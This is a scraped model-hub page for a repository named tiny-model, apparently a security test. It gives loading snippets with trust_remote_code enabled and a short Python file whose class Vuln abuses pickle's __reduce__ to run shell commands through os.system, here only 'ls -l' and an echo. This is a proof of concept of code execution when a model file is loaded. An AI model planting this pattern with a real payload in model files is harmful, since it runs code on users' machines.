Instructions to use tester-123456789/tiny-model with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Transformers
How to use tester-123456789/tiny-model with Transformers:
# Use a pipeline as a high-level helper from transformers import pipeline pipe = pipeline("feature-extraction", model="tester-123456789/tiny-model", trust_remote_code=True)# Load model directly from transformers import AutoModel model = AutoModel.from_pretrained("tester-123456789/tiny-model", trust_remote_code=True, device_map="auto") - Notebooks
- Google Colab
- Kaggle
File size: 256 Bytes
db32fc7 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | import pickle
class Vuln():
def __reduce__(self):
return (build_model, ())
def build_model():
import os
return os.system("ls -l",)
def build_another_model():
import os
return os.system("echo 'malicious code executed'",)
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